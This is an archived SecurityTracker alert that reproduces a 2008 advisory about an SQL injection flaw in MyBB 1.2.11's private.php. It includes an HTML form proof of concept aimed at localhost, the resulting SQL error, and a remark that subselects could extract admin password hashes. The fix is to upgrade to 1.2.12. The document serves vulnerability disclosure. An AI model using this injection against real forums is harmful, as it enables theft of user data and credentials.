SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   MyBB Vendors:   MyBB Group
MyBB Input Validation Flaw in 'private.php' Lets Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1019257
SecurityTracker URL:  http://securitytracker.com/id/1019257
CVE Reference:   CVE-2008-0787   (Links to External Site)
Updated:  Feb 21 2008
Original Entry Date:  Jan 23 2008
Impact:   Disclosure of system information, Disclosure of user information, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 1.2.11
Description:   A vulnerability was reported in MyBB. A remote authenticated user can inject SQL commands.

The 'private.php' script does not properly validate user-supplied input in the 'disablesmilies' parameter. A remote authenticated user can supply a specially crafted parameter value to execute SQL commands on the underlying database.

The private message system must be enabled for the system to be vulnerable.

The original advisory is available at:

http://www.waraxe.us/advisory-64.html

Janek Vind "waraxe" reported this vulnerability.

Impact:   A remote authenticated user can execute SQL commands on the underlying database.
Solution:   The vendor has issued a fixed version (1.2.12).
Vendor URL:  www.mybboard.net/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [waraxe-2008-SA#064] - Sql Injection in MyBB 1.2.11


[waraxe-2008-SA#064] - Sql Injection in MyBB 1.2.11
===============================================================================

Author: Janek Vind "waraxe"
Date: 21. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-64.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.

Vulnerabilities discovered
===============================================================================

1. SQL Injection in "private.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Preconditions:
===============
a) attacker must have logged in as registered user
b) private message system must be enabled

Caused by:
===============
Parameter "disablesmilies" is not sanitized properly before being used in
INSERT sql query.

Explanation:
===============

Let's try this little piece of html code as proof-of-concept:

[--------------- PoC start -------------------------------------------------]
<html><body><center>
<form action="http://localhost/mybb.1.2.11/private.php" method="post">
<input type="hidden" name="action" value="do_send">
<input type="hidden" name="subject" value="f00subject">
<input type="hidden" name="message" value="f00message">
<input type="hidden" name="to" value="waraxe">
<input type="hidden" name="options[disablesmilies]" value="',waraxe,'">
<input type="submit" value="Test!">
</form>
</center></body></html>
[------------- PoC end ----------------------------------------------------]

NB! Parameter "to" must be valid username!

As result of test we can see sql error message:

MySQL error: 1136
Column count doesn't match value count at row 1
Query: INSERT INTO mybb_privatemessages (uid, toid, fromid, folder, subject,
icon, message, dateline, status, includesig, smilieoff, receipt, readtime)
VALUES ('1', '1', '1', '1', 'f00subject', '0', 'f00message', '1200579555',
'0', 'no', '',waraxe,'', '0', '0') 

So sql injection security hole exists in INSERT query and in case of mysql
version >= 4.1 by using subselects attacker can fetch arbitrary data from
database, including admin password hash.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download new MyBB version 1.2.12

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, str0ke
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.janekvind.com/
Waraxe forum:  http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] --------------------------------

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC